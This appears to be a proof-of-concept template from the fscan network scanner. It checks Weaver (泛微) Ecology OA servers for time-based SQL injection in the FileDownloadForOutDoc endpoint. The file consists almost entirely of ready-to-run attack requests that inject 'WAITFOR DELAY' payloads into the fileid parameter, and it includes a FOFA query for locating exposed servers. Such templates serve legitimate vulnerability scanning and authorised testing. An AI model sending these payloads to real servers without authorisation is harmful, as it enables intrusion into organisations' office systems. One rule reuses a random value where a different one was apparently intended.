Files
fscan/webscan/pocs/ecology-filedownloadforoutdoc-sqli.yaml
T
ZacharyZcR 3ef7a1beee
测试构建 / 代码检查 (push) Has been cancelled
测试构建 / 单元测试和构建 (push) Has been cancelled
测试构建 / 构建验证 (push) Has been cancelled
feat: expand internal network poc coverage
2026-07-16 02:04:36 +08:00

45 lines
1.5 KiB
YAML

id: ecology-filedownloadforoutdoc-sqli
info:
name: 泛微 OA filedownloadforoutdoc - SQL injection
author: zan8in
severity: high
verified: true
description: |-
泛微 OA filedownloadforoutdoc interface has SQL injection
fofa: app="泛微-协同办公OA"
tags: ecology,sqli
created: 2023/07/11
set:
rand0: randomInt(100,199)
rand1: randomInt(200,299)
rand2: randomInt(300,399)
rand3: randomInt(400,499)
rules:
r0:
request:
method: POST
path: /weaver/weaver.file.FileDownloadForOutDoc
body: isFromOutImg=1&fileid={{rand0}}+WAITFOR+DELAY+'0:0:10'
expression: response.status == 200 && response.latency <= 12000 && response.latency >= 10000
r1:
request:
method: POST
path: /weaver/weaver.file.FileDownloadForOutDoc
body: isFromOutImg=1&fileid={{rand1}}+WAITFOR+DELAY+'0:0:6'
expression: response.status == 200 && response.latency <= 8000 && response.latency >= 6000
r2:
request:
method: POST
path: /weaver/weaver.file.FileDownloadForOutDoc
body: isFromOutImg=1&fileid={{rand2}}+WAITFOR+DELAY+'0:0:10'
expression: response.status == 200 && response.latency <= 12000 && response.latency >= 10000
r3:
request:
method: POST
path: /weaver/weaver.file.FileDownloadForOutDoc
body: isFromOutImg=1&fileid={{rand1}}+WAITFOR+DELAY+'0:0:6'
expression: response.status == 200 && response.latency <= 8000 && response.latency >= 6000
expression: r0() && r1() && r2() && r3()